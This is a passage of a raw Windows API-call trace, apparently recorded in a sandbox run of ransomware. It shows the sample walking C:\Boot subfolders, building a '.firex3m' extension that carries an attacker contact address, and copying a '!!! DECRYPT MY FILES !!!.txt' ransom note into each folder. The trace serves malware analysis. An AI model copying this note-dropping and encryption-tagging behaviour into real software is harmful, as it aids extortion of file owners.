ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc4938cb0, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5040 [0102.785] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0102.785] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\pt-PT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\pt-pt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.791] GetProcessHeap () returned 0x630000 [0102.791] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1340 [0102.791] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.791] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0102.792] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0102.792] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\qps-ploc\\", len=0x11 | out: pbstr=0x6ebf3a0*="C:\\Boot\\qps-ploc\\") returned 1 [0102.792] CharLowerBuffW (in: lpsz="C:\\Boot\\qps-ploc\\", cchLength=0x11 | out: lpsz="c:\\boot\\qps-ploc\\") returned 0x11 [0102.792] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.792] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.792] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0102.792] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.793] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.793] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\qps-ploc\\bootmgr.exe.mui", len=0x20 | out: pbstr=0x6ebf398*="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned 1 [0102.793] CharLowerBuffW (in: lpsz="C:\\Boot\\qps-ploc\\bootmgr.exe.mui", cchLength=0x20 | out: lpsz="c:\\boot\\qps-ploc\\bootmgr.exe.mui") returned 0x20 [0102.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.793] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.793] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.793] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.793] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\qps-ploc\\bootmgr.exe.mui", psz="C:\\Boot\\qps-ploc\\memtest.exe.mui", len=0x20 | out: pbstr=0x6ebf398*="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 1 [0102.793] CharLowerBuffW (in: lpsz="C:\\Boot\\qps-ploc\\memtest.exe.mui", cchLength=0x20 | out: lpsz="c:\\boot\\qps-ploc\\memtest.exe.mui") returned 0x20 [0102.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.794] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.794] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.794] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.794] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.794] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc4938cb0, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5580 [0102.794] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0102.794] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\qps-ploc\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\qps-ploc\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.798] GetProcessHeap () returned 0x630000 [0102.798] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0x10) returned 0x6b1448 [0102.798] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.798] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0102.799] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0102.799] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\Resources\\", len=0x12 | out: pbstr=0x6ebf3a0*="C:\\Boot\\Resources\\") returned 1 [0102.799] CharLowerBuffW (in: lpsz="C:\\Boot\\Resources\\", cchLength=0x12 | out: lpsz="c:\\boot\\resources\\") returned 0x12 [0102.799] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.799] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.799] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5040 [0102.800] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.801] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0102.801] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\Resources\\bootres.dll", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\Resources\\bootres.dll") returned 1 [0102.801] CharLowerBuffW (in: lpsz="C:\\Boot\\Resources\\bootres.dll", cchLength=0x1d | out: lpsz="c:\\boot\\resources\\bootres.dll") returned 0x1d [0102.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.801] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.801] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.801] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0102.801] SysReAllocStringLen (in: pbstr=0x6ebf0d8*=0x0, psz="C:\\Boot\\Resources\\en-US\\", len=0x18 | out: pbstr=0x6ebf0d8*="C:\\Boot\\Resources\\en-US\\") returned 1 [0102.801] CharLowerBuffW (in: lpsz="C:\\Boot\\Resources\\en-US\\", cchLength=0x18 | out: lpsz="c:\\boot\\resources\\en-us\\") returned 0x18 [0102.802] SysReAllocStringLen (in: pbstr=0x6ebf080*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf080*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.802] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.802] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*.*", lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0102.802] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.802] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0102.802] SysReAllocStringLen (in: pbstr=0x6ebf0d0*=0x0, psz="C:\\Boot\\Resources\\en-US\\bootres.dll.mui", len=0x27 | out: pbstr=0x6ebf0d0*="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 1 [0102.802] CharLowerBuffW (in: lpsz="C:\\Boot\\Resources\\en-US\\bootres.dll.mui", cchLength=0x27 | out: lpsz="c:\\boot\\resources\\en-us\\bootres.dll.mui") returned 0x27 [0102.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.802] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.802] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.803] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.803] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0102.803] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.803] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0102.803] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0102.803] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\ro-RO\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\ro-RO\\") returned 1 [0102.803] CharLowerBuffW (in: lpsz="C:\\Boot\\ro-RO\\", cchLength=0xe | out: lpsz="c:\\boot\\ro-ro\\") returned 0xe [0102.804] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.804] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.804] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4ec0 [0102.807] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.807] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.807] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\ro-RO\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 1 [0102.807] CharLowerBuffW (in: lpsz="C:\\Boot\\ro-RO\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\ro-ro\\bootmgr.exe.mui") returned 0x1d [0102.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.808] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.808] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.808] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.808] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0102.808] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0102.808] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\ru-RU\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\ru-RU\\") returned 1 [0102.808] CharLowerBuffW (in: lpsz="C:\\Boot\\ru-RU\\", cchLength=0xe | out: lpsz="c:\\boot\\ru-ru\\") returned 0xe [0102.809] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.809] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.809] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4ec0 [0102.810] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, 